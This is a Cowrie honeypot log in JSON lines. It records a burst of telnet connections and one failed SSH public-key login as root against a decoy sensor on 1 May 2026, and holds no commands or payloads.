{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40678,"dst_ip":"10.17.0.5","dst_port":23,"session":"756a8741a14b","protocol":"telnet","message":"New connection: 208.115.200.90:40678 (10.17.0.5:23) [session: 756a8741a14b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:01.349532Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":45432,"dst_ip":"159.203.135.109","dst_port":23,"session":"46c245c5d53e","protocol":"telnet","message":"New connection: 192.119.108.58:45432 (159.203.135.109:23) [session: 46c245c5d53e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:01.628316Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":59754,"dst_ip":"159.203.135.109","dst_port":23,"session":"68b43f1125d8","protocol":"telnet","message":"New connection: 162.241.141.97:59754 (159.203.135.109:23) [session: 68b43f1125d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:01.880446Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":59972,"dst_ip":"159.203.135.109","dst_port":23,"session":"c604cf06542c","protocol":"telnet","message":"New connection: 162.241.141.97:59972 (159.203.135.109:23) [session: c604cf06542c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:02.004375Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":60014,"dst_ip":"159.203.135.109","dst_port":23,"session":"f934cbdfcbba","protocol":"telnet","message":"New connection: 162.241.141.97:60014 (159.203.135.109:23) [session: f934cbdfcbba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:02.040670Z"}
{"eventid":"cowrie.session.closed","duration":31.054264068603516,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:02.177595Z","src_ip":"192.119.108.58","session":"5b8a9c7f7455","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.349618673324585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:02.247950Z","src_ip":"162.241.141.97","session":"e5f991e67ad4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":60496,"dst_ip":"159.203.135.109","dst_port":23,"session":"7940da3cff92","protocol":"telnet","message":"New connection: 162.241.141.97:60496 (159.203.135.109:23) [session: 7940da3cff92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:02.303409Z"}
{"eventid":"cowrie.session.closed","duration":30.96145534515381,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:02.314784Z","src_ip":"192.119.108.58","session":"c854873f5b69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":60786,"dst_ip":"159.203.135.109","dst_port":23,"session":"871dace53ed6","protocol":"telnet","message":"New connection: 162.241.141.97:60786 (159.203.135.109:23) [session: 871dace53ed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:02.467125Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.231.162","src_port":48418,"dst_ip":"10.17.0.5","dst_port":23,"session":"e58c963e458f","protocol":"telnet","message":"New connection: 50.6.231.162:48418 (10.17.0.5:23) [session: e58c963e458f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:02.656859Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":46076,"dst_ip":"159.203.135.109","dst_port":23,"session":"3438c49409a2","protocol":"telnet","message":"New connection: 192.119.108.58:46076 (159.203.135.109:23) [session: 3438c49409a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:02.668315Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":33172,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a48f942dc5c","protocol":"telnet","message":"New connection: 162.241.141.97:33172 (159.203.135.109:23) [session: 3a48f942dc5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:02.752863Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":59664,"dst_ip":"159.203.135.109","dst_port":23,"session":"b768d8eb7349","protocol":"telnet","message":"New connection: 162.241.141.97:59664 (159.203.135.109:23) [session: b768d8eb7349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:02.824099Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":33618,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ce094dcd621","protocol":"telnet","message":"New connection: 162.241.141.97:33618 (159.203.135.109:23) [session: 9ce094dcd621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:02.931411Z"}
{"eventid":"cowrie.session.closed","duration":31.73564863204956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:02.988043Z","src_ip":"192.119.108.58","session":"a106f2d80fb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36070728302002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:03.090011Z","src_ip":"162.241.141.97","session":"5a63da21063f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.271061420440674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:03.099405Z","src_ip":"162.241.141.97","session":"6ca7f54a97fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.618528604507446,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:03.381473Z","src_ip":"162.241.141.97","session":"959e5e04019b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.211225986480713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:03.737804Z","src_ip":"208.115.200.90","session":"9d523f451a5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.382928133010864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:03.903249Z","src_ip":"162.241.141.97","session":"cd006396b20a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1544451713562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:03.929494Z","src_ip":"162.241.141.97","session":"15c4d010f6a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94522738456726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:04.002384Z","src_ip":"162.241.141.97","session":"02cfe0c2964a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.015416145324707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:04.065602Z","src_ip":"162.241.141.97","session":"a847f64284ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76321291923523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:04.091953Z","src_ip":"162.241.141.97","session":"49500cb1aacf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99107313156128,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:04.263151Z","src_ip":"162.241.141.97","session":"4686740ca06c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1598539352417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:04.388566Z","src_ip":"162.241.141.97","session":"a586b0cc468f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":45430,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a6ec5f7015a","protocol":"telnet","message":"New connection: 192.119.108.58:45430 (159.203.135.109:23) [session: 2a6ec5f7015a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:04.629555Z"}
{"eventid":"cowrie.session.closed","duration":31.18740224838257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:05.203216Z","src_ip":"192.119.108.58","session":"d4a8a3ca07d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":46090,"dst_ip":"159.203.135.109","dst_port":23,"session":"cef9a02c4c76","protocol":"telnet","message":"New connection: 192.119.108.58:46090 (159.203.135.109:23) [session: cef9a02c4c76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:05.707809Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":47490,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ebdd980f346","protocol":"telnet","message":"New connection: 192.119.108.58:47490 (159.203.135.109:23) [session: 1ebdd980f346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:05.784650Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39564,"dst_ip":"10.17.0.5","dst_port":23,"session":"afe0ca4b5b84","protocol":"telnet","message":"New connection: 208.115.200.90:39564 (10.17.0.5:23) [session: afe0ca4b5b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:08.772931Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":51370,"dst_ip":"159.203.135.109","dst_port":23,"session":"c36313c3a77d","protocol":"telnet","message":"New connection: 192.119.108.58:51370 (159.203.135.109:23) [session: c36313c3a77d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:09.242637Z"}
{"eventid":"cowrie.session.closed","duration":30.367025136947632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:09.259837Z","src_ip":"162.241.141.97","session":"fe70f0f6ff0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":51586,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3675d7aeb14","protocol":"telnet","message":"New connection: 192.119.108.58:51586 (159.203.135.109:23) [session: c3675d7aeb14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:09.356289Z"}
{"eventid":"cowrie.session.closed","duration":31.05155038833618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:10.040347Z","src_ip":"162.241.141.97","session":"18e070d5a5d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67129135131836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:10.138473Z","src_ip":"192.119.108.58","session":"360f0754bdce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":51850,"dst_ip":"159.203.135.109","dst_port":23,"session":"cca729a83faf","protocol":"telnet","message":"New connection: 192.119.108.58:51850 (159.203.135.109:23) [session: cca729a83faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:10.735317Z"}
{"eventid":"cowrie.session.closed","duration":30.74881649017334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:11.220137Z","src_ip":"192.119.108.58","session":"65e1b089189f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.231.162","src_port":46532,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8ff7e15e4c0","protocol":"telnet","message":"New connection: 50.6.231.162:46532 (10.17.0.5:23) [session: d8ff7e15e4c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:11.286657Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":54140,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e3f76b27029","protocol":"telnet","message":"New connection: 192.119.108.58:54140 (159.203.135.109:23) [session: 5e3f76b27029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:11.962046Z"}
{"eventid":"cowrie.session.closed","duration":30.99360966682434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:12.081893Z","src_ip":"192.119.108.58","session":"8a211390e399","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.231.162","src_port":46542,"dst_ip":"10.17.0.5","dst_port":23,"session":"71ec04a6c365","protocol":"telnet","message":"New connection: 50.6.231.162:46542 (10.17.0.5:23) [session: 71ec04a6c365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:12.438231Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":54938,"dst_ip":"159.203.135.109","dst_port":23,"session":"6764cd9b7c8c","protocol":"telnet","message":"New connection: 192.119.108.58:54938 (159.203.135.109:23) [session: 6764cd9b7c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:12.597955Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":55880,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2566cd9a58b","protocol":"telnet","message":"New connection: 192.119.108.58:55880 (159.203.135.109:23) [session: a2566cd9a58b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:13.539197Z"}
{"eventid":"cowrie.session.closed","duration":31.510510444641113,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:13.711325Z","src_ip":"192.119.108.58","session":"fc3164e8be83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.231.162","src_port":37504,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f19126cfd7b","protocol":"telnet","message":"New connection: 50.6.231.162:37504 (10.17.0.5:23) [session: 6f19126cfd7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:13.908318Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":55312,"dst_ip":"159.203.135.109","dst_port":23,"session":"3060c7d06fac","protocol":"telnet","message":"New connection: 192.119.108.58:55312 (159.203.135.109:23) [session: 3060c7d06fac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:14.168913Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":56486,"dst_ip":"159.203.135.109","dst_port":23,"session":"17d8b1c8289f","protocol":"telnet","message":"New connection: 192.119.108.58:56486 (159.203.135.109:23) [session: 17d8b1c8289f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:14.264803Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":48322,"dst_ip":"159.203.135.109","dst_port":23,"session":"957049cb4373","protocol":"telnet","message":"New connection: 162.241.141.97:48322 (159.203.135.109:23) [session: 957049cb4373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:14.842867Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":48574,"dst_ip":"159.203.135.109","dst_port":23,"session":"953ede01258b","protocol":"telnet","message":"New connection: 162.241.141.97:48574 (159.203.135.109:23) [session: 953ede01258b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:14.931037Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":46446,"dst_ip":"159.203.135.109","dst_port":23,"session":"b78ab5434c02","protocol":"telnet","message":"New connection: 162.241.141.97:46446 (159.203.135.109:23) [session: b78ab5434c02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:14.937297Z"}
{"eventid":"cowrie.session.closed","duration":30.954063653945923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:15.028457Z","src_ip":"162.241.141.97","session":"a371b55d79df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.238","src_port":45098,"dst_ip":"10.17.0.5","dst_port":22,"session":"aec56d743353","protocol":"ssh","message":"New connection: 192.109.200.238:45098 (10.17.0.5:22) [session: aec56d743353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:15.035219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:15.046924Z","src_ip":"192.109.200.238","session":"aec56d743353","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:15.132502Z","src_ip":"192.109.200.238","session":"aec56d743353","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:59:d7:61:1c:f0:db:04:74:12:2e:73:40:87:05:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBNnrI5YzVbYZoCYNlzxmTFzQHcvh01FEy3DAUCZNfedZEgYbuLUVZ4VYh4SSBzLRo68gWEr68zBVa1r1Qj/IFRW5uBI3j3EFez8oeO3yLOhjDG5MSg5c2v/BlCgRmofBrF0oy2mdYk3Rlv5zixyBhjM7HWughPVTooSZWylEizAldpgzw7imiswuoApoLkM14WSBMV0Q4r2lQuYEEPXlogkRkpcj19HUKaI4nSJZAHMST4FoyPf4wivUQuEY4V4Ieai0q6TVpdvWlwAkjJgd8eilrdheBd4JPLDyfTfurhkjq5JukvfCBEF8QVopr1zOxkCI3CXANqc+93XEuRraL5ZTSkCPk5Jy0hlBzrHhG1uHNx8o4poyZWdy8VXP9QbMAhn30ImCAo/8990vd+FB6jbgd8TsxAiOd62F/ezg+syVb4CGPDJh3HBIHIs3iPvALS44VvqBslviklqxMX92CDKbnBcKIJfe8cYocJiMv0bTNSYYiMGoU31cWX7RPXzlyRjoMMOcIvv3jmPaZjLFb+6KLjGJP8wBYlCvaaSeHa+aLHtt1NRm/VbtkKAs1hcUx7YoqfyEXEI21CYd1O4aLidOI4yZxhhc3jslv/t0yYX7EZglhFyqdbVfVqXrMhuzh4wROSsgdwBbZ+6UtbYqrKGQgiWoFbwNKlgSE3aMNMw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:59:d7:61:1c:f0:db:04:74:12:2e:73:40:87:05:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:15.387948Z","src_ip":"192.109.200.238","session":"aec56d743353","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:59:d7:61:1c:f0:db:04:74:12:2e:73:40:87:05:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBNnrI5YzVbYZoCYNlzxmTFzQHcvh01FEy3DAUCZNfedZEgYbuLUVZ4VYh4SSBzLRo68gWEr68zBVa1r1Qj/IFRW5uBI3j3EFez8oeO3yLOhjDG5MSg5c2v/BlCgRmofBrF0oy2mdYk3Rlv5zixyBhjM7HWughPVTooSZWylEizAldpgzw7imiswuoApoLkM14WSBMV0Q4r2lQuYEEPXlogkRkpcj19HUKaI4nSJZAHMST4FoyPf4wivUQuEY4V4Ieai0q6TVpdvWlwAkjJgd8eilrdheBd4JPLDyfTfurhkjq5JukvfCBEF8QVopr1zOxkCI3CXANqc+93XEuRraL5ZTSkCPk5Jy0hlBzrHhG1uHNx8o4poyZWdy8VXP9QbMAhn30ImCAo/8990vd+FB6jbgd8TsxAiOd62F/ezg+syVb4CGPDJh3HBIHIs3iPvALS44VvqBslviklqxMX92CDKbnBcKIJfe8cYocJiMv0bTNSYYiMGoU31cWX7RPXzlyRjoMMOcIvv3jmPaZjLFb+6KLjGJP8wBYlCvaaSeHa+aLHtt1NRm/VbtkKAs1hcUx7YoqfyEXEI21CYd1O4aLidOI4yZxhhc3jslv/t0yYX7EZglhFyqdbVfVqXrMhuzh4wROSsgdwBbZ+6UtbYqrKGQgiWoFbwNKlgSE3aMNMw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:15.393515Z","src_ip":"192.109.200.238","session":"aec56d743353","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":54734,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ed262d8d637","protocol":"telnet","message":"New connection: 192.119.108.58:54734 (159.203.135.109:23) [session: 1ed262d8d637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:15.408622Z"}
{"eventid":"cowrie.session.closed","duration":30.998709678649902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:15.474901Z","src_ip":"162.241.141.97","session":"28286e05671d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:15.480633Z","src_ip":"192.109.200.238","session":"aec56d743353","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":58056,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0ba7875c16c","protocol":"telnet","message":"New connection: 192.119.108.58:58056 (159.203.135.109:23) [session: c0ba7875c16c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:15.635939Z"}
{"eventid":"cowrie.session.closed","duration":30.71933627128601,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:16.034656Z","src_ip":"162.241.141.97","session":"1c8b96a4b75a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.090358018875122,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:16.107514Z","src_ip":"192.119.108.58","session":"e6759814df59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.832454681396484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:16.256433Z","src_ip":"192.119.108.58","session":"4a5f1a84ea8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.309324026107788,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:16.477942Z","src_ip":"192.119.108.58","session":"12fb03fd2cab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.54037570953369,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:16.727977Z","src_ip":"162.241.141.97","session":"c74a2d905d9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.194599866867065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:17.016595Z","src_ip":"192.119.108.58","session":"ac20cb63d301","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.800658226013184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:17.057005Z","src_ip":"192.119.108.58","session":"a7f4c2f0eff1","protocol":"telnet"}
